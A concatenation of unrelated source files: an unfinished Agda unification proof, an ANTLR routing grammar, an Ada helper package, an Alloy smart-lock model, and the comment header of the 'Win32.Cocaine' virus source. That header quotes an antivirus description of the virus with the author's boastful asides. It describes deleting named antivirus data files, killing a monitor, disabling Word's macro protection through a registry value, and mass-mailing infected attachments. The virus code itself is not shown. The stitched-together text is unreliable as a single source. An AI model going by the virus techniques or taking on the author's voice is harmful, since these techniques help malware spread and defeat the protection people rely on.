Nothing⋆2 : ∀{m} -> (P : Property⋆2 m) -> Set
Nothing⋆2 P = ∀{n} f -> P {n} f -> ⊥
Unifies⋆2 : ∀ {m} (s t : Term m) -> Property⋆2 m
Unifies⋆2 s t (f₁ , f₂) = f₁ ◃ s ≡ f₂ ◃ t
_≤2_ : ∀ {m n n'} (f : (Fin m -> Term n) × (Fin m -> Term n)) (g : (Fin m -> Term n') × (Fin m -> Term n')) -> Set
(f₁ , f₂) ≤2 (g₁ , g₂) = ∃ λ f' -> f₁ ≐ (f' ◇ g₁) × f₂ ≐ (f' ◇ g₂)
Max⋆2 : ∀ {m} (P : Property⋆2 m) -> Property⋆2 m
Max⋆2 P f = P f × (∀ {n} f' -> P {n} f' -> f' ≤2 f)
pair-mgu : ∀ {m} -> (s t : Term m) -> Maybe (∃ (AList m))
pair-mgu {m} s t = {!!} -- amgu s t (m , anil)
write≡separate : ∀ {m n} (σ : AList (2 * m) n) (t : Term m) → (sub σ ◃) (write-variable-down t) ≡ ((separate-substitutions-down $ sub σ) ◃) t
write≡separate {zero} {.0} anil (i x) = refl
write≡separate {suc m} {.(suc (m + suc (m + 0)))} anil (i x) = refl
write≡separate {suc m} {n} (σ asnoc t' / x) (i x₁) = refl
write≡separate σ leaf = refl
write≡separate σ (t₁ fork t₂) = cong₂ _fork_ (write≡separate σ t₁) (write≡separate σ t₂)
write≡separate' : ∀ {m n} (σ : AList (2 * m) n) (t : Term m) → (sub σ ◃) (write-variable-down t) ≡ ((separate-substitutions-down $ sub σ) ◃) t
write≡separate' {zero} {.0} anil (i x) = refl
write≡separate' {suc m} {.(suc (m + suc (m + 0)))} anil (i x) = refl
write≡separate' {suc m} {n} (σ asnoc t' / x) (i x₁) = refl
write≡separate' σ leaf = refl
write≡separate' σ (t₁ fork t₂) = cong₂ _fork_ (write≡separate σ t₁) (write≡separate σ t₂)
{-
(sub σ ◃) (write-variable-down s') ≡ (sub σ ◃) (write-variable-up t') →
((separate-substitutions-down $ sub σ) ◃) s' ≡ ((separate-substitutions-up $ sub σ) ◃) t'
-}
pair-mgu-c⋆! : ∀ {m} (s' t' : Term m) (let (s , t) = write-variables-apart s' t') ->
(∃ λ n → ∃ λ σ → ∃ λ σ₁ → ∃ λ σ₂ → (σ₁ , σ₂) ≡ separate-substitutions (sub σ) × (Max⋆2 (Unifies⋆2 s' t')) (σ₁ , σ₂) × mgu s t ≡ just (n , σ))
⊎ (Nothing⋆2 (Unifies⋆2 s t) × mgu s t ≡ nothing)
pair-mgu-c⋆! {m} s' t'
with write-variable-down s' | inspect write-variable-down s' | write-variable-up t' | inspect write-variable-up t'
… | s | Reveal_·_is_.[_] refl | t | Reveal_·_is_.[_] refl with amgu-c⋆ (view s t (2 * m , anil))
… | (inj₁ (n , σ , (s-un-t , s-un-t-correct) , amgu=nσ)) = inj₁ (_ , σ , ((separate-substitutions-down $ sub σ) , ((separate-substitutions-up $ sub σ) , (refl , (({!trans (sym $ write≡separate σ s') s-un-t!} , (λ {(fl , fr) x → ((proj₁ ∘ s-un-t-correct (combineSubs fl fr)) {!(proj₂ ∘ s-un-t-correct (combineSubs fl fr)) !}) , ({!!} , {!!})})) , amgu=nσ))))) where
… | (inj₂ (s-not-un-t , amgu=nothing)) = inj₂ {!!}
-- pair-mgu-c⋆ : ∀ {m} (s' t' : Term m) (let (s , t) = write-variables-apart s' t') ->
-- (∃ λ n → ∃ λ σ → ∃ λ σ₁ → ∃ λ σ₂ → (σ₁ , σ₂) ≡ separate-substitutions {m} {n} (sub {2 * m} {n} σ) × (Max⋆2 (Unifies⋆2 s t)) (σ₁ , σ₂) × mgu s t ≡ just (n , σ))
-- ⊎ (Nothing⋆2 (Unifies⋆2 s t) × mgu s t ≡ nothing)
-- pair-mgu-c⋆ {m} s' t'
-- with write-variables-apart s' t'
-- … | (s , t) with amgu-c⋆ (view s t (2 * m , anil))
-- pair-mgu-c⋆ {m} s' t' | s , t | (inj₁ (n , σ , (s-un-t , s-un-t-correct) , amgu=nσ)) = inj₁ ({!!} , {!!})
-- pair-mgu-c⋆ {m} s' t' | s , t | (inj₂ (s-not-un-t , amgu=nothing)) = inj₂ {!!}
-- -- pair-mgu-c⋆ {m} s t = {!!} -- amgu-c (view s t (m , anil))
-- {-
-- Goal: Σ ℕ
-- (λ n₁ →
-- Σ (AList (m + (m + 0)) n₁)
-- (λ σ₁ →
-- Σ (Fin (m + (m + 0)) → Term n₁)
-- (λ σ₂ →
-- Σ (Fin (m + (m + 0)) → Term n₁)
-- (λ σ₃ →
-- Σ ((σ₂ , σ₃) ≡ (?8 (sub σ₁) , ?9 (sub σ₁)))
-- (λ x →
-- Σ
-- (Σ ((σ₂ ◃) s ≡ (σ₃ ◃) t)
-- (λ x₁ →
-- {n = n₂ : ℕ}
-- (f'
-- : Σ (Fin (m + (m + 0)) → Term n₂)
-- (λ x₂ → Fin (m + (m + 0)) → Term n₂)) →
-- (proj₁ f' ◃) s ≡ (proj₂ f' ◃) t →
-- Σ (Fin n₁ → Term n₂)
-- (λ f'' →
-- Σ ((x₂ : Fin (m + (m + 0))) → proj₁ f' x₂ ≡ (f'' ◃) (σ₂ x₂))
-- (λ x₂ →
-- (x₃ : Fin (m + (m + 0))) → proj₂ f' x₃ ≡ (f'' ◃) (σ₃ x₃)))))
-- (λ x₁ → amgu s t (m + (m + 0) , anil) ≡ just (n₁ , σ₁)))))))
-- ⊎
-- Σ
-- ({n = n₁ : ℕ}
-- (f
-- : Σ (Fin (m + (m + 0)) → Term n₁)
-- (λ x → Fin (m + (m + 0)) → Term n₁)) →
-- (proj₁ f ◃) s ≡ (proj₂ f ◃) t → ⊥)
-- (λ x → amgu s t (m + (m + 0) , anil) ≡ nothing)
-- ————————————————————————————————————————————————————————————
-- t' : Term m
-- s' : Term m
-- amgu=nσ : amgu s t (m + (m + 0) , anil) ≡ just (n , σ)
-- s-un-t-correct
-- : {n = n₁ : ℕ} (f' : Fin (m + (m + 0)) → Term n₁) →
-- (f' ◃) s ≡ (f' ◃) t →
-- Σ (Fin n → Term n₁)
-- (λ f'' → (x : Fin (m + (m + 0))) → f' x ≡ (f'' ◃) (sub σ x))
-- s-un-t : (sub σ ◃) s ≡ (sub σ ◃) t
-- σ : AList (m + (m + 0)) n
-- n : ℕ
-- t : Term (m + (m + 0))
-- s : Term (m + (m + 0))
-- m : ℕ
-- -}
|
components/server/src/main/antlr4/com/hotels/styx/server/routing/Condition.g4
|
OwenLindsell/styx
| 239 |
1894
|
<reponame>OwenLindsell/styx
grammar Condition;
expression:
NOT expression # NotExpression
| expression AND expression # AndExpression
| expression OR expression # OrExpression
| '(' expression ')' # SubExpression
| stringComparison # StringCompareExpression
;
stringComparison:
stringExpression '=~' string # StringMatchesRegexp
| stringExpression '==' stringExpression # StringEqualsString
| stringExpression # StringIsPresent
;
stringExpression:
function
| string
;
function:
ID '(' arglist ')'
| ID '(' arglist { notifyErrorListeners("Missing closing parenthesis"); }
| ID '(' arglist ')' ')' { notifyErrorListeners("Too many closing parentheses"); }
;
arglist:
( string (',' string)* )?
;
string: QUOTED_STRING | DQUOTED_STRING;
DQUOTED_STRING : '"' ( ESCAPED_DQUOTE | ~('\n'|'\r') )*? '"';
fragment ESCAPED_DQUOTE : '\\"';
QUOTED_STRING : '\'' ( ESCAPED_QUOTE | ~('\n'|'\r') )*? '\'';
fragment ESCAPED_QUOTE : '\\\'';
AND : 'AND' ;
OR : 'OR' ;
NOT : 'NOT' ;
SQUOTE : ['] ;
DQUOTE : ["] ;
ID : [a-zA-Z0-9_]+ ;
// TODO: should also accept any visible non-delimiting US-ASCII character
// REF: RFC7230, chapter 3.2.6
// TOKEN : [!#$%&'*+-.^_`|~a-zA-Z0-9]+ ;
WS : [ \t\r\n]+ -> skip ;
|
attic/asis/adam-assist.adb
|
charlie5/aIDE
| 3 |
19793
|
<filename>attic/asis/adam-assist.adb
with
-- AdaM.Assist.Query.find_All.Driver,
-- AdaM.Assist.Query.find_All.Metrics,
AdaM.Assist.Query.find_Entities.Driver,
AdaM.Assist.Query.find_Entities.Metrics,
Ada.Strings.unbounded,
Ada.Strings.fixed;
package body AdaM.Assist
is
-- function known_Types return AdaM.a_Type.Vector
-- is
-- begin
-- return AdaM.Assist.Query.find_all.Metrics.all_Types;
-- end known_Types;
-- function known_Environment return AdaM.Environment.item
-- is
-- Environ : Environment.item renames AdaM.Assist.Query.find_All.Metrics.Environment;
-- begin
-- Environ.clear;
-- AdaM.Assist.Query.find_All.Driver;
--
-- return Environ;
-- end known_Environment;
function known_Entities return AdaM.Environment.item
is
Environ : Environment.item renames Query.find_Entities.Metrics.Environment;
begin
Environ.clear;
Query.find_Entities.Driver;
return Environ;
end known_Entities;
function Tail_of (the_full_Name : in String) return String
is
use Ada.Strings,
Ada.Strings.fixed;
Dot : constant Natural := Index (the_full_Name, ".", Backward);
begin
if Dot = 0
then
return the_full_Name;
else
return the_full_Name (Dot + 1 .. the_full_Name'Last);
end if;
end Tail_of;
function strip_Tail_of (the_full_Name : in String) return String
is
use Ada.Strings,
Ada.Strings.fixed;
Dot : constant Natural := Index (the_full_Name, ".", Backward);
begin
if Dot = 0 then
return the_full_Name;
else
return the_full_Name (the_full_Name'First .. Dot - 1);
end if;
end strip_Tail_of;
function type_button_Name_of (the_full_Name : in String) return String
is
Tail : constant String := Assist.Tail_of (the_full_Name);
begin
if the_full_Name'Length >= 9
and then the_full_Name (the_full_Name'First .. the_full_Name'First + 8) = "Standard."
then
return Tail;
end if;
declare
Head : constant String := assist.strip_Tail_of (the_full_Name);
begin
return assist.Tail_of (Head) & "." & Tail;
end;
end type_button_Name_of;
function Split (the_Text : in String) return text_Lines
is
use ada.Strings.Fixed,
ada.Strings.Unbounded;
the_Lines : text_Lines;
Dot : Natural := Index (the_Text, ".");
First : Positive := 1;
Last : Positive;
begin
while Dot /= 0
loop
Last := Dot - 1;
the_Lines.append (+the_Text (First .. Last));
First := Dot + 1;
Dot := Index (the_Text, ".", First);
end loop;
the_Lines.append (+the_Text (First .. the_Text'Last));
return the_Lines;
end Split;
end AdaM.Assist;
|
FormalAnalyzer/models/apps/EnhancedAutoLockDoor.als
|
Mohannadcse/IoTCOM_BehavioralRuleExtractor
| 0 |
2695
|
module app_EnhancedAutoLockDoor
open IoTBottomUp as base
open cap_runIn
open cap_now
open cap_lock
open cap_contactSensor
one sig app_EnhancedAutoLockDoor extends IoTApp {
lock1 : one cap_lock,
contact : one cap_contactSensor,
state : one cap_state,
} {
rules = r
////capabilities = lock1 + contact + state
}
one sig cap_state extends cap_runIn {} {
attributes = cap_state_attr + cap_runIn_attr
}
abstract sig cap_state_attr extends Attribute {}
abstract sig r extends Rule {}
/*
one sig r0 extends r {}{
triggers = r0_trig
conditions = r0_cond
commands = r0_comm
}
abstract sig r0_trig extends Trigger {}
one sig r0_trig0 extends r0_trig {} {
capabilities = app_EnhancedAutoLockDoor.contact
attribute = cap_contactSensor_attr_contact
value = cap_contactSensor_attr_contact_val_closed
}
one sig r0_trig1 extends r0_trig {} {
capabilities = app_EnhancedAutoLockDoor.contact
attribute = cap_contactSensor_attr_contact
value = cap_contactSensor_attr_contact_val_open
}
one sig r0_trig2 extends r0_trig {} {
capabilities = app_EnhancedAutoLockDoor.lock1
attribute = cap_lock_attr_lock_val_unlocked
no value
}
one sig r0_trig3 extends r0_trig {} {
capabilities = app_EnhancedAutoLockDoor.lock1
attribute = cap_lock_attr_lock
no value
}
abstract sig r0_cond extends Condition {}
one sig r0_cond0 extends r0_cond {} {
capabilities = app_EnhancedAutoLockDoor.contact
attribute = cap_contactSensor_attr_contact
value = cap_contactSensor_attr_contact_val - cap_contactSensor_attr_contact_val_open
}
one sig r0_cond1 extends r0_cond {} {
capabilities = app_EnhancedAutoLockDoor.contact
attribute = cap_contactSensor_attr_contact
value = cap_contactSensor_attr_contact_val - cap_contactSensor_attr_contact_val_closed
}
one sig r0_cond2 extends r0_cond {} {
capabilities = app_EnhancedAutoLockDoor.lock1
attribute = cap_lock_attr_lock
value = cap_lock_attr_lock_val_unlocked
}
one sig r0_cond3 extends r0_cond {} {
capabilities = app_EnhancedAutoLockDoor.lock1
attribute = cap_lock_attr_lock
value = cap_lock_attr_lock_val - cap_lock_attr_lock_val_unlocked
}
one sig r0_cond4 extends r0_cond {} {
capabilities = app_EnhancedAutoLockDoor.contact
attribute = cap_contactSensor_attr_contact
value = cap_contactSensor_attr_contact_val - cap_contactSensor_attr_contact_val_unlocked
}
one sig r0_cond5 extends r0_cond {} {
capabilities = app_EnhancedAutoLockDoor.contact
attribute = cap_contactSensor_attr_contact
value = cap_contactSensor_attr_contact_val_closed
}
one sig r0_cond6 extends r0_cond {} {
capabilities = app_EnhancedAutoLockDoor.contact
attribute = cap_contactSensor_attr_contact
value = cap_contactSensor_attr_contact_val - cap_contactSensor_attr_contact_val_open
}
one sig r0_cond7 extends r0_cond {} {
capabilities = app_EnhancedAutoLockDoor.contact
attribute = cap_contactSensor_attr_contact
value = cap_contactSensor_attr_contact_val - cap_contactSensor_attr_contact_val_locked
}
abstract sig r0_comm extends Command {}
one sig r0_comm0 extends r0_comm {} {
capability = app_EnhancedAutoLockDoor.state
attribute = cap_runIn_attr_runIn
value = cap_runIn_attr_runIn_val_on
}
*/
one sig r1 extends r {}{
no triggers
conditions = r1_cond
commands = r1_comm
}
abstract sig r1_cond extends Condition {}
one sig r1_cond0 extends r1_cond {} {
capabilities = app_EnhancedAutoLockDoor.state
attribute = cap_runIn_attr_runIn
value = cap_runIn_attr_runIn_val_on
}
abstract sig r1_comm extends Command {}
one sig r1_comm0 extends r1_comm {} {
capability = app_EnhancedAutoLockDoor.lock1
attribute = cap_lock_attr_lock
value = cap_lock_attr_lock_val_unlocked
}
one sig r2 extends r {}{
triggers = r2_trig
conditions = r2_cond
commands = r2_comm
}
abstract sig r2_trig extends Trigger {}
one sig r2_trig0 extends r2_trig {} {
capabilities = app_EnhancedAutoLockDoor.contact
attribute = cap_contactSensor_attr_contact
value = cap_contactSensor_attr_contact_val_closed
}
one sig r2_trig1 extends r2_trig {} {
capabilities = app_EnhancedAutoLockDoor.contact
attribute = cap_contactSensor_attr_contact
value = cap_contactSensor_attr_contact_val_open
}
one sig r2_trig2 extends r2_trig {} {
capabilities = app_EnhancedAutoLockDoor.lock1
attribute = cap_lock_attr_lock
value = cap_lock_attr_lock_val_unlocked
}
one sig r2_trig3 extends r2_trig {} {
capabilities = app_EnhancedAutoLockDoor.lock1
attribute = cap_lock_attr_lock
value = cap_lock_attr_lock_val_locked
}
abstract sig r2_cond extends Condition {}
/*
one sig r2_cond0 extends r2_cond {} {
capabilities = app_EnhancedAutoLockDoor.contact
attribute = cap_contactSensor_attr_contact
value = cap_contactSensor_attr_contact_val - cap_contactSensor_attr_contact_val_open
}
one sig r2_cond1 extends r2_cond {} {
capabilities = app_EnhancedAutoLockDoor.contact
attribute = cap_contactSensor_attr_contact
value = cap_contactSensor_attr_contact_val - cap_contactSensor_attr_contact_val_closed
}
one sig r2_cond3 extends r2_cond {} {
capabilities = app_EnhancedAutoLockDoor.contact
attribute = cap_contactSensor_attr_contact
value = cap_lock_attr_lock_val - cap_lock_attr_lock_val_unlocked
}
one sig r2_cond4 extends r2_cond {} {
capabilities = app_EnhancedAutoLockDoor.contact
attribute = cap_contactSensor_attr_contact
value = cap_contactSensor_attr_contact_val - cap_contactSensor_attr_contact_val_locked
}
*/
one sig r2_cond5 extends r2_cond {} {
capabilities = app_EnhancedAutoLockDoor.contact
attribute = cap_contactSensor_attr_contact
value = cap_contactSensor_attr_contact_val_closed
}
one sig r2_cond6 extends r2_cond {} {
capabilities = app_EnhancedAutoLockDoor.lock1
attribute = cap_lock_attr_lock
value = cap_lock_attr_lock_val_locked
}
abstract sig r2_comm extends Command {}
one sig r2_comm0 extends r2_comm {} {
capability = app_EnhancedAutoLockDoor.state
attribute = cap_runIn_attr_runIn
value = cap_runIn_attr_runIn_val_on
}
one sig r3 extends r {}{
triggers = r3_trig
conditions = r3_cond
commands = r3_comm
}
abstract sig r3_trig extends Trigger {}
one sig r3_trig0 extends r3_trig {} {
capabilities = app_EnhancedAutoLockDoor.contact
attribute = cap_contactSensor_attr_contact
value = cap_contactSensor_attr_contact_val_closed
}
one sig r3_trig1 extends r3_trig {} {
capabilities = app_EnhancedAutoLockDoor.contact
attribute = cap_contactSensor_attr_contact
value = cap_contactSensor_attr_contact_val_open
}
one sig r3_trig2 extends r3_trig {} {
capabilities = app_EnhancedAutoLockDoor.lock1
attribute = cap_lock_attr_lock
value = cap_lock_attr_lock_val_unlocked
}
one sig r3_trig3 extends r3_trig {} {
capabilities = app_EnhancedAutoLockDoor.lock1
attribute = cap_lock_attr_lock
value = cap_lock_attr_lock_val_locked
}
abstract sig r3_cond extends Condition {}
one sig r3_cond0 extends r3_cond {} {
capabilities = app_EnhancedAutoLockDoor.lock1
attribute = cap_lock_attr_lock
value = cap_lock_attr_lock_val_locked
}
one sig r3_cond1 extends r3_cond {} {
capabilities = app_EnhancedAutoLockDoor.contact
attribute = cap_contactSensor_attr_contact
value = cap_contactSensor_attr_contact_val_open
}
abstract sig r3_comm extends Command {}
one sig r3_comm0 extends r3_comm {} {
capability = app_EnhancedAutoLockDoor.state
attribute = cap_runIn_attr_runIn
value = cap_runIn_attr_runIn_val_on
}
one sig r4 extends r {}{
no triggers
conditions = r4_cond
commands = r4_comm
}
abstract sig r4_cond extends Condition {}
one sig r4_cond0 extends r4_cond {} {
capabilities = app_EnhancedAutoLockDoor.state
attribute = cap_runIn_attr_runIn
value = cap_runIn_attr_runIn_val_on
}
abstract sig r4_comm extends Command {}
one sig r4_comm0 extends r4_comm {} {
capability = app_EnhancedAutoLockDoor.lock1
attribute = cap_lock_attr_lock
value = cap_lock_attr_lock_val_locked
}
|
Win32/Win32.Cocaine/Win32.Cocaine.asm
|
fengjixuchui/Family
| 3 |
87077
|
;Wm/W32.Cocaine - 22231 bytes
;(c) Vecna 1999
;
;This virus infect PE and DOC files.
;
;Study the code and the AVPVE description for others features.
;
;Small corrections in AVPVE text are between []'s
;
;
;
;AVPVE Description:
;
; Cocaine
;
; ------------------------------------------------------------------------
; This is a parasitic Windows PE files and MS Word normal templates infector
; with email spreading ability, about 22Kb of length. The virus has three
; instances: in Windows PE EXE files, in Word NORMAL template and as attached
; file in email messages.
;
; The virus code in infected PE EXE files is its main instance. When it is
; executed, the virus searches for PE EXE files in the current and Windows
; directories and infects them. The virus also drops infected an NORMAL.DOT
; to the MS Word directory from its PE EXE instance, as well as sends
; infected emails. The virus instance in the NORMAL template drops and
; executes the infected PE EXE file on each document closing, and is not able
; to infect other documents and templates. [* Wrong. Check the infected doc I
; included, or the file MACRO.INC for the code *] The virus code in emails
; appears as attached file that is infected an PE EXE Windows executable file
; with a random name, or infected NORMAL template.
;
; The virus is per-process memory resident. This means that the virus copy
; may stay in memory for a long time until the infected application
; terminates. In case only "short-life" applications are infected, the virus
; code is not present in the system memory for long time. In case an
; application in permanent use is infected, the virus is active during a long
; time, hooks Windows functions, infects PE EXE files that are accessed and
; sends email messages.
;
; The virus is polymorphic in PE files as well as in Word NORMAL template.
; The virus has two polymorphic engines in its EXE code: the first of them
; generates polymorphic decryption loop in infected PE EXE files, the second
; one makes the virus macro program in infected NORMAL.DOT polymorphic too.
;
; The virus has a payload routine that is executed when an infected file is
; run after four months when it was infected. [* 8 months... Maybe AAM 12
; confused AVers ;-) *] This routine displays message boxes that have the
; header "W32/Wm.Cocaine" and the text that is randomly selected from seven
; variants:
;
; Your life burn faster, obey your master...
; Chop your breakfast on a mirror...
; Veins that pump with fear, sucking darkest clear...
; Taste me you will see, more is all you need...
; I will occupy, I will help you die...
; I will run through you, now I rule you too...
; Master of Puppets, I'm pulling your strings...
;
; The virus pays attention to anti-virus programs and tries to disable them.
; Each time an infected file is executed and virus installs its per-process
; resident copy it looks for anti-virus data files in the current directory
; and deletes them. The names of these files look like follows: KERNEL.AVC,
; SIGN.DEF, FIND.DRV, NOD32.000, DSAVIO32.DLL, SCAN.DAT, VIRSCAN.DAT (AVP,
; DSAV, NOD, SCAN and other anti-virus data files). The virus also locates
; and terminates old version of AVP Monitor on-access scanner. [* Not so
; old ;-) *]
;
; The known virus version has bugs and cannot spread from Word macro instance
; to Windows executable. It also has a bug in PE EXE infection routine and
; corrupts some WinNT executable files. [* What can I say... is buggy :-) *]
;
; The virus has a "copyright" text:
;
; (c) Vecna
;
; Some virus routines (especially macro ones) are related to the "Fabi"
; multi-platform virus, and some infected files may be detected by the name
; of this virus. [* Probably, the loader, before it load the poly virus code,
; can be detected as Fabi *]
;
; Technical details
;
; The virus has quite large size for a program written in Assembler - about
; 22Kb, and has many routines that are quite interesting from a technical
; point of view.
;
; Running infected EXE
;
; When an infected file takes control the polymorphic decryption loops are
; executed. They decrypt the virus code layer-by-layer (the virus is
; encrypted by several loops - from two till five) and pass control to the
; virus installation routine. It is necessary to note that several virus
; blocks stay still encrypted. The virus decrypts and accesses them in case
; of need, and then encrypts back. These blocks are MS Word infection data
; and routine as well as PE EXE polymorphic engine.
;
; The virus installation routine looks for necessary Windows API functions
; addresses that are used by the virus later. The list of these functions is
; quite long, this is caused by list of things the virus does to spread
; itself. The functions list the virus looks for is below:
;
; Exported by Functions list
; ----------- --------------
; KERNEL32.DLL: GetProcAddress GetModuleHandleA CreateProcessA
; CreateFileA WinExec CloseHandle LoadLibraryA FreeLibrary
; CreateFileMappingA MapViewOfFile UnmapViewOfFile
; FindFirstFileA FindNextFileA FindClose SetEndOfFile
; VirtualAlloc VirtualFree GetSystemTime
; GetWindowsDirectoryA GetSystemDirectoryA
; GetCurrentDirectoryA SetFileAttributesA SetFileTime
; ExitProcess GetCurrentProcess WriteProcessMemory WriteFile
; DeleteFileA Sleep CreateThread GetFileSize SetFilePointer
; USER32.DLL: MessageBoxA FindWindowA PostMessageA
; ADVAPI32: RegSetValueExA RegCreateKeyExA RegOpenKeyExA
; RegQueryValueExA RegCloseKey
; MAPI32.DLL: MAPISendMail
;
; The virus gets these functions' addresses by the standard Windows virus
; trick: it locates the image on KERNEL32.DLL in the Windows memory, scans
; its Export table and gets addresses of two functions: GetModuleHandle and
; GetProcAddress [* The import table is searched while infecting a file for
; GetModuleHandle *]. By using these two functions the virus is then able
; easily locate all addresses of other necessary functions. The most
; interesting feature of this routine is: this is the first virus that processes
; not only Win95/98 and WinNT addresses while looking for KERNEL32.DLL image,
; but pays attention for Win2000 addresses also [* If the host dont import
; GetModuleHandle this is *]
;
; The virus then locates and infects the MS Word, then searches for PE EXE
; files and also infects them, then hooks a set of system events (files and
; emails access) that is used to locate and infect more files as well as
; spread virus copy to the Internet in attached emails.
;
; Infecting MS Word
;
; The very first infection routine that is activated by the virus is its MS
; Word affecting routine, if it is installed in the system. First of all here
; the virus checks for C:\ANCEV.SYS file presence.
;
; The C:\ANCEV.SYS file ("ANCEV"="VECNA" written backward) has a special
; purpose. This file is created when the MS Word template infection routine
; completes. So, this file presence means that MS Word was located and
; NORMAL.DOT template was infected. In this case the virus while sending
; emails sends NORMAL.DOT template but not the infected EXE dropper [* I used
; to think that DOC files are less suspicious to send by email, but, after
; melissa's shits, EXE are better i gues *]
;
; So, the virus checks for this file at the very top of MS Word infection
; routine. If it does not exist, the virus continues infection. If this file
; is found, the virus randomly in one cases of ten continues infection, and
; in nine cases of ten leaves infection routine. This means that in one case
; of ten the MS Word NORMAL.DOT will be re-infected anyway [* This is done to
; avoid lamers creating a fake ANCEV.SYS to not have WinWord infected *].
;
; The virus then disables the Word VirusWarning protection by modifying the
; system registry keys where Word stores its settings:
;
; SOFTWARE\Microsoft\Office\8.0\Word\Options, EnableMacroVirusProtection
;
; The virus then gets Word's templates directory also by reading system
; registry:
;
; SOFTWARE\Microsoft\Office\8.0\Common\FileNew\LocalTemplates
;
; and deletes the NORMAL.DOT template in there, and then creates a new
; NORMAL.DOT template file - infected one. The infected NORMAL.DOT contains a
; small macro inside. This macro has "AutoExec" Word auto-name - it will be
; automatically executed on next Word startup and will import the main virus
; macro from the C:\COCAINE.SYS file.
;
; The C:\COCAINE.SYS file is created by the virus just after overwriting the
; NORMAL.DOT template. This SYS file is a text file that contains VBA
; program's source code. This source is extracted by the virus from its code,
; mixed with junk (polymorphic) VBA instructions and appended by infected PE
; EXE dropper converted to ASCII strings.
;
; So, the MS Word infection routine does its work in two steps. First of all
; the virus replaces the original NORMAL.DOT with a new one that contains the
; "AutoExec" macro program (loader) that imports complete virus code from the
; C:\COCAINE.SYS file, and completes by that porting virus code from PE EXE
; file to MS Word template.
;
; From Word to EXE
;
; To drop the PE EXE file from its Word template instance the virus uses a
; standard macro-viruses' trick. It creates two files: the first of them is
; the C:\COCAINE.SRC file with infected PE EXE file image converted to ASCII
; form, and second file is a DOS batch with random name. This batch file
; contains a set of instructions that execute the DOS DEBUG utility that
; converts ASCII dump back to binary PE EXE form, and executes it [* This is
; the worst imaginable way to drop a EXE file ever *]
;
; So the virus jumps to Windows out of infected Word template.
;
; Infecting PE EXE files
;
; When MS Word is affected, the virus goes to PE EXE files infection routine.
; The virus looks for PE EXE files in the current and Windows directories and
; infects them. The only files infected are those that have .EXE or .SCR
; filename extensions.
;
; The virus then looks for installed browser and mailer and infects them too.
; The virus locates them by system registry keys in HKEY_LOCAL_MACHINE
; storage:
;
; SOFTWARE\Classes\htmlfile\shell\open\command
; SOFTWARE\Classes\mailto\shell\open\command
;
; The virus needs these files to be infected for activating its Internet
; infection routines. When these Internet accessing applications are
; infected, the virus copy is active in the memory for a long time exactly at
; the moment a user is connected to the Internet. This is necessary to the
; virus to realize its Internet spreading ability.
;
; PE EXE Infection mechanism
;
; The virus checks several conditions before infecting the file. 1st: the
; file length has to be not divisible by 101 (it is virus protection to avoid
; multiple infection, the already infected PE EXE files have such length).
; 2nd: when the virus looks for EXE files in the current and Windows
; directories to infect them, the name of the file cannot contain 'V' letter
; or digits, here the virus avoids most popular anti-virus scanners and "goat
; files" infection.
;
; If the first section has big enough size (more than 2304 bytes), the virus
; writes to there several blocks of junk code that passes the control
; block-by-block to the main virus decryption loops. There are eight blocks
; written to files when the virus infects them:
;
; +------------+
; | |
; |PE Header | ---------------+
; +------------+ |
; | +-----+<-+| |
; | |Junk2| || |
; | +-----+-+|| Entry Point |
; |+-----+ |||<---------------+
; ||Junk1| |||
; |+-----+----+|
; | | |
; |+-----+<--+ |
; ||Junk3| |
; |+-----+----+|
; | V|
; | . . . |
; | +-----+|
; |+----|Junk8||
; || +-----+|
; |V |
; |------------|
; |Virus code |
; | |
; +------------+
;
; In this case the virus does not modify program's entry point address, but
; it needs to restore all overwritten blocks of host file before return
; control to original entry procedure [* CommanderBomber/OneHalf rulez *].
;
; If the first section is short, the control goes directly to virus code. In
; this case the virus modifies program's entry address to get control when
; infected files are executed.
;
; The virus code itself is encrypted by several (from two till five)
; polymorphic loops. The polymorphic engine in the virus is quite strong, and
; produces about 2Kb of polymorphic loops [* This poly is kewl *]
;
; The virus also patches the Import section to get functions GetProcAddress,
; GetModuleHandle, CreateProcessA, WinExec and MAPISendMail when infection
; executable is run.
;
; After all the virus writes its encrypted code to the end of last file
; section, and increases section size by patching PE header.
;
; Intercepting Events
;
; When the Word and PE EXE direct infection routines are complete, the virus
; hooks several Windows functions and stays in Windows memory as part of the
; host program. The virus hooks two file access function WinExec and
; CreateProcessA, if they are imported by the host program from the
; KERNEL32.DLL. When these functions get control (a program is executed) the
; virus gets the program's file name, gets its directory, searches and
; infects PE EXE files in this directory.
;
; Sending Emails
;
; The virus per-process resident code also runs email infection thread, hooks
; MAPISendMail that is exported from MAPI32.DLL, "connect" and "recv" from
; WSOCK32.DLL and GetProcAddress from KERNEL32.DLL.
;
; The first hook is used by the virus to send its copy to the Internet. When
; the virus intercepts this event it looks for attached data in the message.
; If there is no attach, the virus appends to the message infected NORMAL.DOT
; or infected PE EXE file (the latter is created on the disk in the
; C:\ENIACOC.SYS file).
;
; The "GetProcAddress", "connect" and "recv" hooks are used by the virus to
; realize second method of infected Emails sending. When a message arrives,
; the virus scans its header for "mailto:" field, gets the address from there
; and stores it in its own database. [* MAILTO: is a HTML command/instruction
; used very often. Nice idea :-) *]
;
; When taking control the infection thread looks for email address caught by
; "connect" and "recv" hooks, calculates its CRC and compares with its
; "already infected addresses" database that is stored in the BRSCBC.DAT file
; in the Windows system directory. If this address was not used yet, the
; virus adds it to its BRSCBC.DAT database, creates a message with NORMAL
; template or infected PE EXE file, and sends it by using MAPISendMail
; function [* Why BRSCBC? ;-) *]. The subject field for the message is
; randomly selected from variants:
;
; Kewl page!
; Improvement to your page
; Your page r0x0r!
; You must see this...
; Secret stuff!
; [* or a empty subject line *]
;
; By using the BRSCBC.DAT database the virus avoids duplicate sendings, but
; on each infected program run the virus depending on its random counter
; deletes this file, and clears "do-not-send" database by that.
;
; The "GetProcAddress" that is also hooked by virus TSR copy is used only to
; intercept "connect" and "recv" WSOCK32.DLL functions, if an application
; does not import these routines "by default", but activates them in case of
; need. To do that the "GetProcAddress" virus' hook intercepts accesses to
; "connect" and "recv" WSOCK32.DLL functions' addresses. If an application
; tries to get addresses of these routines to use Internet connections, the
; virus returns addresses of its own "connect" and "recv" hookers, and so
; intercepts Internet connection [* Fucking OPERA *]
;Thnz to IkX for accepting this contribution
;Greetz to Z0MBiE, VirusBuster and Reptile(the first to use macro autoload)
;Special greetz goes to Jacky Qwerty:
;Los virus no serian lo que son hoy si no fuera por vos!
;THNDV/CAP/Cabanas RULEZ! (THNDV solo para los mas vivos ;> )
;Big fuckZ to T2000 and El Gusano Boliviano: lamers and ripperz!!!!
;Greetz to all creative coders
;Use the pre-compiled virus, but if you're a sort of 37337 d00d... to compile:
